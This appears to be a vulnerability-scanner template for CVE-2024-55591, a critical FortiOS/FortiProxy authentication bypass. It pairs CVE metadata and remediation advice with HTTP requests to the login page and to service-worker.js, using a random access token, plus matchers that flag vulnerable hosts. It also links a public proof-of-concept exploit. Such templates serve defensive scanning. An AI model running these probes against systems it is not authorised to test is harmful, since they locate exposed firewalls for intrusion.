Fortinet FortiOS is vulnerable to an information disclosure via service-worker.js that could allow an attacker to access sensitive information.This vulnerability affects FortiOS and could potentially lead to unauthorized access to the system.
PoC
id: CVE-2024-55591
info:
name: Fortinet - Authentication Bypass
author: rootxharsh,iamnoooob,pdresearch
severity: critical
description: |
Fortinet FortiOS is vulnerable to an information disclosure via service-worker.js that could allow an attacker to access sensitive information.This vulnerability affects FortiOS and could potentially lead to unauthorized access to the system.
impact: |
Unauthenticated attackers can bypass authentication mechanisms to access sensitive system information and gain unauthorized access to FortiOS and FortiProxy systems.
remediation: |
Update Fortinet FortiOS and FortiProxy to versions that patch CVE-2024-55591 as specified in Fortinet's security advisory.
reference:
- https://github.com/watchtowrlabs/fortios-auth-bypass-poc-CVE-2024-55591/blob/main/CVE-2024-55591-PoC.py
- https://nvd.nist.gov/vuln/detail/cve-2024-55591
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-55591
cwe-id: CWE-288,NVD-CWE-Other
epss-score: 0.98259
epss-percentile: 0.99913
cpe: cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: fortinet
product: fortiproxy
tags: cve,cve2024,fortinet,disclosure,fortios,kev,intrusive,vkev,vuln
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/login?redir=/ng"
host-redirects: true
max-redirects: 2
matchers:
- type: word
words:
- '<html class="main-app">'
internal: true
- raw:
- |
GET /service-worker.js?local_access_token={{randstr}} HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "api/v2/static"
- "self.addEventListener"
condition: and
- type: word
part: content_type
words:
- "application/javascript"
- type: status
status:
- 200
# digest: 490a0046304402205e0dbd4b8b68546c0c914fee11b84a67d1aa19757b105c3840e9281bdcafb8bc0220745dd9c11c6b10e3e7d7bce4ce3ea1077c9b1f807ad12184a5a161325efca536:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.